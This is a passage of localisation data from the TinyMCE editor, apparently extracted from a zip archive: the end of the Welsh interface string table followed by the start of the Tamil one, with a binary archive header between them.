"Spellcheck Language": "Iaith Gwirio Sillafu",
"No misspellings found.": "Dim camsillafiadau.",
"Ignore": "Anwybyddu",
"Ignore all": "Amwybyddu pob",
"Finish": "Gorffen",
"Add to Dictionary": "Adio i'r Geiriadur",
"Insert table": "Mewnosod tabl",
"Table properties": "Priodweddau tabl",
"Delete table": "Dileu'r tabl",
"Cell": "Cell",
"Row": "Rhes",
"Column": "Colofn",
"Cell properties": "Priodweddau'r gell",
"Merge cells": "Cyfuno celloedd",
"Split cell": "Hollti celloedd",
"Insert row before": "Mewnosod rhes cyn",
"Insert row after": "Mewnosod rhes ar \u00f4l",
"Delete row": "Dileu rhes",
"Row properties": "Priodweddau rhes",
"Cut row": "Torri rhes",
"Copy row": "Cop\u00efo rhes",
"Paste row before": "Gludo rhes cyn",
"Paste row after": "Gludo rhes ar \u00f4l",
"Insert column before": "Mewnosod colofn cyn",
"Insert column after": "Mewnosod colofn ar \u00f4l",
"Delete column": "Dileu colofn",
"Cols": "Colofnau",
"Rows": "Rhesi",
"Width": "Lled",
"Height": "Uchder",
"Cell spacing": "Bylchiad celloedd",
"Cell padding": "Padio celloedd",
"Caption": "Pennawd",
"Show caption": "Dangos capsiwn",
"Left": "Chwith",
"Center": "Canol",
"Right": "De",
"Cell type": "Math y gell",
"Scope": "Cwmpas",
"Alignment": "Aliniad",
"H Align": "Aliniad Ll",
"V Align": "Aliniad F",
"Top": "Brig",
"Middle": "Canol",
"Bottom": "Gwaelod",
"Header cell": "Cell bennawd",
"Row group": "Gr\u0175p rhes",
"Column group": "Gr\u0175p colofn",
"Row type": "Math y rhes",
"Header": "Pennyn",
"Body": "Corff",
"Footer": "Troedyn",
"Border color": "Lliw Border",
"Insert template...": "Mewnosod templed...",
"Templates": "Templedi",
"Template": "Templed",
"Text color": "Lliw testun",
"Background color": "Lliw cefndir",
"Custom...": "Personol...",
"Custom color": "Lliw personol",
"No color": "Dim Lliw",
"Remove color": "Tynnu lliw",
"Table of Contents": "Tabl Cynnwys",
"Show blocks": "Dangos blociau",
"Show invisible characters": "Dangos nodau anweledig",
"Word count": "Cyfri geiriau",
"Count": "Cyfrif",
"Document": "Dogfen",
"Selection": "Dewis",
"Words": "Geiriau",
"Words: {0}": "Geiriau: {0}",
"{0} words": "{0} o eiriau",
"File": "Ffeil",
"Edit": "Golygu",
"Insert": "Mewnosod",
"View": "Dangos",
"Format": "Fformat",
"Table": "Tabl",
"Tools": "Offer",
"Powered by {0}": "Gyrrir gan {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Ardal Testun Uwch. Pwyswch ALT-F9 ar gyfer y ddewislen, Pwyswch ALT-F10 ar gyfer y bar offer. Pwyswch ALT-0 am gymorth",
"Image title": "Teitl delwedd",
"Border width": "Lled border",
"Border style": "Steil border",
"Error": "Gwall",
"Warn": "Rhybuddio",
"Valid": "Dilys",
"To open the popup, press Shift+Enter": "I agor y llamlen, pwyswch Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Ardal testun cyfoethog. Pwyswch ALT-0 am help.",
"System Font": "Ffont system",
"Failed to upload image: {0}": "Wedi methu uwchlwytho'r ddelwedd: {0}",
"Failed to load plugin: {0} from url {1}": "Wedi methu llwytho'r ategyn: {0} o'r url {1}",
"Failed to load plugin url: {0}": "Wedi methu llwytho url yr ategyn: {0}",
"Failed to initialize plugin: {0}": "Wedi methu ymgychwyn yr ategyn: {0}",
"example": "enghraifft",
"Search": "Chwilio",
"All": "Y cwbl",
"Currency": "Arian cyfred",
"Text": "Testun",
"Quotations": "Dyfyniadau",
"Mathematical": "Mathemategol",
"Extended Latin": "Lladin estynedig",
"Symbols": "Symbolau",
"Arrows": "Saethau",
"User Defined": "Diffinir gan y defnyddiwr",
"dollar sign": "Arwydd dolar",
"currency sign": "Arwydd arian cyfred",
"euro-currency sign": "Arwydd euro",
"colon sign": "Arwydd colon",
"cruzeiro sign": "Arwydd cruzeiro",
"french franc sign": "Arwydd ffranc Ffrengig",
"lira sign": "Arwydd lira",
"mill sign": "arwydd mill",
"naira sign": "arwydd naira",
"peseta sign": "arwydd peseta",
"rupee sign": "arwydd rupee",
"won sign": "arwydd won",
"new sheqel sign": "arwydd sheqel newydd",
"dong sign": "arwydd dong",
"kip sign": "arwydd kip",
"tugrik sign": "arwydd tugrik",
"drachma sign": "arwydd drachma",
"german penny symbol": "arwydd ceiniog almaenig",
"peso sign": "arwydd peso",
"guarani sign": "arwydd quarani",
"austral sign": "arwydd austral",
"hryvnia sign": "arwydd hryvnia",
"cedi sign": "arwydd cedi",
"livre tournois sign": "arwydd punt tournois",
"spesmilo sign": "arwydd spesmilo",
"tenge sign": "arwydd tenge",
"indian rupee sign": "arwydd rupee india",
"turkish lira sign": "arwydd lira twrcaidd",
"nordic mark sign": "arwydd marc nordig",
"manat sign": "arwydd manat",
"ruble sign": "arwydd ruble",
"yen character": "nod yen",
"yuan character": "nod yuan",
"yuan character, in hong kong and taiwan": "nod yuan yn Hong Kong a Taiwan",
"yen\/yuan character variant one": "nod yen\/yuan amrywiad un",
"Loading emoticons...": "Yn llwytho gwenogluniau",
"Could not load emoticons": "Wedi methu llwytho gwenogluniau",
"People": "Pobl",
"Animals and Nature": "Anifeiliaid a Natur",
"Food and Drink": "Bwyd a Diod",
"Activity": "Gweithgaredd",
"Travel and Places": "Teithio a lleoedd",
"Objects": "Gwrthrychau",
"Flags": "Baneri",
"Characters": "Nodau",
"Characters (no spaces)": "Nodau (dim gofod)",
"{0} characters": "{0} nod",
"Error: Form submit field collision.": "Gwall: Gwrthdrawiad maes cyflwyno ffurflen",
"Error: No form element found.": "Gwall: Ni chafwyd elfen ffurflen",
"Update": "Diweddaru",
"Color swatch": "Casgliad lliwiau",
"Turquoise": "Gwyrddlas",
"Green": "Gwyrdd",
"Blue": "Glas",
"Purple": "Porffor",
"Navy Blue": "Dulas",
"Dark Turquoise": "Gwyrddlas tywyll",
"Dark Green": "Gwyrdd tywyll",
"Medium Blue": "Glas canolig",
"Medium Purple": "Porffor canolig",
"Midnight Blue": "Glas y nos",
"Yellow": "Melyn",
"Orange": "Oren",
"Red": "Coch",
"Light Gray": "Llwyd golau",
"Gray": "d",
"Dark Yellow": "Melyn tywyll",
"Dark Orange": "Oren tywyll",
"Dark Red": "Coch tywyll",
"Medium Gray": "Llwyd canolig",
"Dark Gray": "Llwyd tywyll",
"Light Green": "Gwyrdd Golau",
"Light Yellow": "Melyn Golau",
"Light Red": "Coch Golau",
"Light Purple": "Porffor Golau",
"Light Blue": "Glas Golau",
"Dark Purple": "Porffor Tywyll",
"Dark Blue": "Glas Tywyll",
"Black": "Du",
"White": "Gwyn",
"Switch to or from fullscreen mode": "Newid i neu o'r modd sgr\u00een llawn",
"Open help dialog": "Agor y ddeialog gymorth",
"history": "hanes",
"styles": "steiliau",
"formatting": "fformatio",
"alignment": "aliniad",
"indentation": "mewnoli",
"Font": "Ffont",
"Size": "Maint",
"More...": "Mwy...",
"Select...": "Dewis...",
"Preferences": "Dewisiadau",
"Yes": "Iawn",
"No": "Na",
"Keyboard Navigation": "Llywio Bysellfwrdd",
"Version": "Fersiwn",
"Code view": "Golwg cod",
"Open popup menu for split buttons": "Agor naidlen ar gyfer botymau hollt",
"List Properties": "Rhestru Priodweddau",
"List properties...": "Rhestru priodweddau...",
"Start list at number": "Dechrau rhestr efo rhif",
"Line height": "Uchder llinell",
"comments": "Sylwadau",
"Format Painter": "Brwsh Fformat",
"Insert\/edit iframe": "Mewnosod\/golygu iframe",
"Capitalization": "Priflythrennu",
"lowercase": "llythrennau bach",
"UPPERCASE": "PRIFLYTHRENNAU",
"Title Case": "Priflythyren i bob gair",
"permanent pen": "pen sefydlog",
"Permanent Pen Properties": "Priodweddau Yswgrifbin Parhaol",
"Permanent pen properties...": "Priodweddau ysgrifbin parhaol...",
"case change": "Newid Cas",
"page embed": "Mewnblannu i'r dudalen",
"Advanced sort...": "Trefnu uwch...",
"Advanced Sort": "Trefnu Uwch",
"Sort table by column ascending": "Trefnu tabl yn \u00f4l colofn yn esgynnol",
"Sort table by column descending": "Trefnu tabl yn \u00f4l colofn yn ddisgynnol",
"Sort": "Trefnu",
"Order": "Trefn",
"Sort by": "Trefnu yn \u00f4l",
"Ascending": "yn Esgynnol",
"Descending": "yn Ddisgynnol",
"Column {0}": "Colofn {0}",
"Row {0}": "Rhes {0}",
"Spellcheck...": "Gwirydd sillafu...",
"Misspelled word": "Gair wedi ei gamsillafu",
"Suggestions": "Awgrymiadau",
"Change": "Newid",
"Finding word suggestions": "Darganfod geiriau a awgrymir",
"Success": "Llwyddiant",
"Repair": "Trwsio",
"Issue {0} of {1}": "Problem  {0} o {1}",
"Images must be marked as decorative or have an alternative text description": "Rhaid bod delwedd wedi ei marcio yn addurniadol neu gyda disgrifiad testun arall",
"Images must have an alternative text description. Decorative images are not allowed.": "Rhaid bod gan ddelwedd ddisgrifiad testun arall. Ni chaniateir delweddau addurniadol.",
"Or provide alternative text:": "Neu darparu testun arall:",
"Make image decorative:": "Gwneud delwedd yn addurniadol:",
"ID attribute must be unique": "Rhaid i'r priodoledd ID fod yn unigryw",
"Make ID unique": "Gwneud yr ID yn unigryw",
"Keep this ID and remove all others": "Cadwch yr ID hwn a dileu pob un arall",
"Remove this ID": "Dileu'r ID hwn",
"Remove all IDs": "Dileu pob ID",
"Checklist": "Rhestr wirio",
"Anchor": "Angor",
"Special character": "Nod arbennig",
"Color": "Lliw",
"Document properties": "Priodweddau'r ddogfen",
"Image description": "Disgrifiad y ddelwedd",
"Image": "Delwedd",
"Insert link": "Mewnosod dolen",
"Link": "Dolen",
"Target": "Targed",
"Media": "Cyfrwng",
"Poster": "Poster",
"Print": "Argraffu",
"Whole words": "Geiriau cyfan",
"Find and replace": "Chwilio ac amnewid",
"Prev": "Blaenorol",
"Insert template": "Mewnosod templed"
});PK
h�\>hA����program/js/tinymce/langs/ta.jsnu�[���tinymce.addI18n('ta',{
"Redo": "\u0bae\u0bc0\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Undo": "\u0b9a\u0bc6\u0baf\u0bb2\u0bcd\u0ba4\u0bb5\u0bbf\u0bb0\u0bcd\u0b95\u0bcd\u0b95",
"Cut": "\u0bb5\u0bc6\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Copy": "\u0ba8\u0b95\u0bb2\u0bc6\u0b9f\u0bc1\u0b95\u0bcd\u0b95",
"Paste": "\u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Select all": "\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd \u0ba4\u0bc7\u0bb0\u0bcd\u0bb5\u0bc1 \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"New document": "\u0baa\u0bc1\u0ba4\u0bbf\u0baf \u0b86\u0bb5\u0ba3\u0bae\u0bcd",
"Ok": "\u0b9a\u0bb0\u0bbf",
"Cancel": "\u0bb0\u0ba4\u0bcd\u0ba4\u0bc1 \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Visual aids": "\u0b95\u0bbe\u0b9f\u0bcd\u0b9a\u0bbf\u0ba4\u0bcd \u0ba4\u0bc1\u0ba3\u0bc8\u0baf\u0ba9\u0bcd\u0b95\u0bb3\u0bcd",
"Bold": "\u0ba4\u0b9f\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Italic": "\u0b9a\u0bbe\u0baf\u0bcd\u0bb5\u0bc1",
"Underline": "\u0b85\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bcb\u0b9f\u0bc1",
"Strikethrough": "\u0ba8\u0b9f\u0bc1\u0b95\u0bcd\u0b95\u0bcb\u0b9f\u0bc1",
"Superscript": "\u0bae\u0bc7\u0bb2\u0bcd\u0b92\u0b9f\u0bcd\u0b9f\u0bc1",
"Subscript": "\u0b95\u0bc0\u0bb4\u0bcd\u0b92\u0b9f\u0bcd\u0b9f\u0bc1",
"Clear formatting": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b85\u0bb4\u0bbf\u0b95\u0bcd\u0b95",
"Align left": "\u0b87\u0b9f\u0ba4\u0bc1 \u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Align center": "\u0bae\u0bc8\u0baf \u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Align right": "\u0bb5\u0bb2\u0ba4\u0bc1 \u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Justify": "\u0ba8\u0bc7\u0bb0\u0bcd\u0ba4\u0bcd\u0ba4\u0bbf \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Bullet list": "\u0baa\u0bca\u0b9f\u0bcd\u0b9f\u0bbf\u0b9f\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f  \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Numbered list": "\u0b8e\u0ba3\u0bcd\u0ba3\u0bbf\u0b9f\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Decrease indent": "\u0b89\u0bb3\u0bcd\u0ba4\u0bb3\u0bcd\u0bb3\u0bc1\u0ba4\u0bb2\u0bc8 \u0b95\u0bc1\u0bb1\u0bc8\u0b95\u0bcd\u0b95",
"Increase indent": "\u0b89\u0bb3\u0bcd\u0ba4\u0bb3\u0bcd\u0bb3\u0bc1\u0ba4\u0bb2\u0bc8 \u0b85\u0ba4\u0bbf\u0b95\u0bb0\u0bbf\u0b95\u0bcd\u0b95",
"Close": "\u0bae\u0bc2\u0b9f\u0bc1\u0b95",
"Formats": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0ba8\u0b95\u0bb2\u0b95\u0ba4\u0bcd\u0ba4\u0bbf\u0bb1\u0bcd\u0b95\u0bc1 \u0ba8\u0bc7\u0bb0\u0b9f\u0bbf \u0b85\u0ba3\u0bc1\u0b95\u0bb2\u0bc8 \u0ba4\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb2\u0bbe\u0bb5\u0bbf \u0b86\u0ba4\u0bb0\u0bbf\u0b95\u0bcd\u0b95\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8. \u0b86\u0b95\u0bb5\u0bc7 \u0bb5\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0bb2\u0b95\u0bc8 \u0b95\u0bc1\u0bb1\u0bc1\u0b95\u0bcd\u0b95\u0bc1\u0bb5\u0bb4\u0bbf\u0b95\u0bb3\u0bbe\u0ba9 Ctrl+X\/C\/V \u0b87\u0bb5\u0bb1\u0bcd\u0bb1\u0bc8 \u0ba4\u0baf\u0bb5\u0bc1 \u0b9a\u0bc6\u0baf\u0bcd\u0ba4\u0bc1 \u0baa\u0baf\u0ba9\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95.",
"Headers": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Header 1": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 1",
"Header 2": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 2",
"Header 3": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 3",
"Header 4": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 4",
"Header 5": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 5",
"Header 6": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 6",
"Headings": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Heading 1": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 1",
"Heading 2": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 2",
"Heading 3": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 3",
"Heading 4": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 4",
"Heading 5": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 5",
"Heading 6": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 6",
"Preformatted": "\u0bae\u0bc1\u0ba9\u0bcd\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0ba4\u0bc1",
"Div": "\u0baa\u0bbf\u0bb0\u0bbf\u0bb5\u0bc1 (Div)",
"Pre": "\u0bae\u0bc1\u0ba9\u0bcd \u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0ba4\u0bc1 (Pre)",
"Code": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1",
"Paragraph": "\u0baa\u0ba4\u0bcd\u0ba4\u0bbf",
"Blockquote": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf \u0bae\u0bc7\u0bb1\u0bcd\u0b95\u0bcb\u0bb3\u0bcd",
"Inline": "\u0b89\u0bb3\u0bcd\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8",
"Blocks": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf\u0b95\u0bb3\u0bcd",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0b87\u0baf\u0bb2\u0bcd\u0baa\u0bc1 \u0b89\u0bb0\u0bc8 \u0bae\u0bc1\u0bb1\u0bc8\u0bae\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0ba4\u0bb1\u0bcd\u0baa\u0bcb\u0ba4\u0bc1 \u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0ba4\u0bb2\u0bcd \u0b89\u0bb3\u0bcd\u0bb3\u0ba4\u0bc1. \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b87\u0ba8\u0bcd\u0ba4 \u0bb5\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc8 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0bb5\u0bb0\u0bc8 \u0b89\u0bb3\u0bcd\u0bb3\u0b9f\u0b95\u0bcd\u0b95\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b87\u0baf\u0bb2\u0bcd\u0baa\u0bc1 \u0b89\u0bb0\u0bc8\u0baf\u0bbe\u0b95 \u0b92\u0b9f\u0bcd\u0b9f\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0bae\u0bcd.",
"Fonts": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Font Sizes": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1 \u0b85\u0bb3\u0bb5\u0bc1\u0b95\u0bb3\u0bcd",
"Class": "Class",
"Browse for an image": "\u0b92\u0bb0\u0bc1 \u0baa\u0b9f\u0ba4\u0bcd\u0ba4\u0bc1\u0b95\u0bcd\u0b95\u0bc1 \u0b89\u0bb2\u0bbe\u0bb5\u0bc1\u0b95",
"OR": "\u0b85\u0bb2\u0bcd\u0bb2\u0ba4\u0bc1",
"Drop an image here": "\u0b92\u0bb0\u0bc1 \u0baa\u0b9f\u0ba4\u0bcd\u0ba4\u0bc8 \u0b87\u0b99\u0bcd\u0b95\u0bc1 \u0b87\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd \u0baa\u0bcb\u0b9f\u0bb5\u0bc1\u0bae\u0bcd",
"Upload": "\u0baa\u0ba4\u0bbf\u0bb5\u0bc7\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Block": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf",
"Align": "\u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Default": "\u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc1",
"Circle": "\u0bb5\u0b9f\u0bcd\u0b9f\u0bae\u0bcd",
"Disc": "\u0bb5\u0b9f\u0bcd\u0b9f\u0bc1",
"Square": "\u0b9a\u0ba4\u0bc1\u0bb0\u0bae\u0bcd",
"Lower Alpha": "\u0b95\u0bc0\u0bb4\u0bcd \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Lower Greek": "\u0b95\u0bc0\u0bb4\u0bcd \u0b95\u0bbf\u0bb0\u0bc7\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Lower Roman": "\u0b95\u0bc0\u0bb4\u0bcd \u0bb0\u0bcb\u0bae\u0bbe\u0ba9\u0bbf\u0baf\u0bae\u0bcd",
"Upper Alpha": "\u0bae\u0bc7\u0bb2\u0bcd \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Upper Roman": "\u0bae\u0bc7\u0bb2\u0bcd \u0bb0\u0bcb\u0bae\u0bbe\u0ba9\u0bbf\u0baf\u0bae\u0bcd",
"Anchor...": "\u0ba8\u0b99\u0bcd\u0b95\u0bc2\u0bb0\u0bae\u0bcd...",
"Name": "\u0baa\u0bc6\u0baf\u0bb0\u0bcd",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id \u0b86\u0ba9\u0ba4\u0bc1 \u0b92\u0bb0\u0bc1 \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0bb2\u0bcd \u0ba4\u0bca\u0b9f\u0b99\u0bcd\u0b95 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd; \u0b87\u0ba4\u0ba9\u0bc8\u0ba4\u0bcd \u0ba4\u0bca\u0b9f\u0bb0\u0bcd\u0ba8\u0bcd\u0ba4\u0bc1 \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd, \u0b8e\u0ba3\u0bcd\u0b95\u0bb3\u0bcd, \u0b87\u0b9f\u0bc8\u0b95\u0bcd\u0b95\u0bc7\u0bbe\u0b9f\u0bc1\u0b95\u0bb3\u0bcd (-), \u0baa\u0bc1\u0bb3\u0bcd\u0bb3\u0bbf\u0b95\u0bb3\u0bcd (.), \u0bae\u0bc1\u0b95\u0bcd\u0b95\u0bbe\u0bb1\u0bcd\u0baa\u0bc1\u0bb3\u0bcd\u0bb3\u0bbf\u0b95\u0bb3\u0bcd (:) \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0b85\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bc7\u0bbe\u0b9f\u0bc1\u0b95\u0bb3\u0bcd (_) \u0bae\u0b9f\u0bcd\u0b9f\u0bc1\u0bae\u0bc7 \u0b87\u0bb0\u0bc1\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd.",
"You have unsaved changes are you sure you want to navigate away?": "\u0b9a\u0bc7\u0bae\u0bbf\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bbe\u0ba4 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb3\u0bcd\u0bb3\u0ba9; \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb1\u0bc1\u0ba4\u0bbf\u0baf\u0bbe\u0b95 \u0bb5\u0bc6\u0bb3\u0bbf\u0baf\u0bc7\u0bb1 \u0bb5\u0bbf\u0bb0\u0bc1\u0bae\u0bcd\u0baa\u0bc1\u0b95\u0bbf\u0bb1\u0bc0\u0bb0\u0bcd\u0b95\u0bbe\u0bb3\u0bbe?",
"Restore last draft": "\u0b95\u0b9f\u0ba8\u0bcd\u0ba4 \u0bb5\u0bb0\u0bc8\u0bb5\u0bc8 \u0bae\u0bc0\u0b9f\u0bcd\u0b9f\u0bc6\u0b9f\u0bc1\u0b95\u0bcd\u0b95",
"Special character...": "\u0b9a\u0bbf\u0bb1\u0baa\u0bcd\u0baa\u0bc1 \u0b89\u0bb0\u0bc1...",
"Source code": "\u0bae\u0bc2\u0bb2 \u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1",
"Insert\/Edit code sample": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1 \u0bae\u0bbe\u0ba4\u0bbf\u0bb0\u0bbf \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Language": "\u0bae\u0bca\u0bb4\u0bbf",
"Code sample...": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1 \u0bae\u0bbe\u0ba4\u0bbf\u0bb0\u0bbf...",
"Color Picker": "\u0ba8\u0bbf\u0bb1\u0ba4\u0bcd \u0ba4\u0bc6\u0bb0\u0bbf\u0bb5\u0bc1",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u0b87\u0b9f\u0bae\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bc1 \u0bb5\u0bb2\u0bae\u0bcd",
"Right to left": "\u0bb5\u0bb2\u0bae\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bc1 \u0b87\u0b9f\u0bae\u0bcd",
"Emoticons": "\u0b89\u0ba3\u0bb0\u0bcd\u0b9a\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bbf\u0bae\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Emoticons...": "\u0b89\u0ba3\u0bb0\u0bcd\u0b9a\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bbf\u0bae\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Metadata and Document Properties": "\u0bae\u0bc0\u0ba4\u0bcd\u0ba4\u0bb0\u0bb5\u0bc1 \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0b86\u0bb5\u0ba3\u0baa\u0bcd \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Title": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Keywords": "\u0bae\u0bc1\u0ba4\u0ba9\u0bcd\u0bae\u0bc8\u0b9a\u0bcd\u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd",
"Description": "\u0bb5\u0bbf\u0bb5\u0bb0\u0bae\u0bcd",
"Robots": "\u0baa\u0bca\u0bb1\u0bbf\u0baf\u0ba9\u0bcd\u0b95\u0bb3\u0bcd (Robots)",
"Author": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbe\u0bb3\u0bb0\u0bcd",
"Encoding": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bbe\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Fullscreen": "\u0bae\u0bc1\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0bb0\u0bc8",
"Action": "\u0b9a\u0bc6\u0baf\u0bb2\u0bcd",
"Shortcut": "\u0b95\u0bc1\u0bb1\u0bc1\u0b95\u0bcd\u0b95\u0bc1\u0bb5\u0bb4\u0bbf",
"Help": "\u0b89\u0ba4\u0bb5\u0bbf",
"Address": "\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf",
"Focus to menubar": "\u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b95\u0bb5\u0ba9\u0bae\u0bcd \u0b9a\u0bc6\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Focus to toolbar": "\u0b95\u0bb0\u0bc1\u0bb5\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b95\u0bb5\u0ba9\u0bae\u0bcd \u0b9a\u0bc6\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Focus to element path": "\u0bae\u0bc2\u0bb2\u0b95\u0baa\u0bcd \u0baa\u0bbe\u0ba4\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b95\u0bb5\u0ba9\u0bae\u0bcd \u0b9a\u0bc6\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
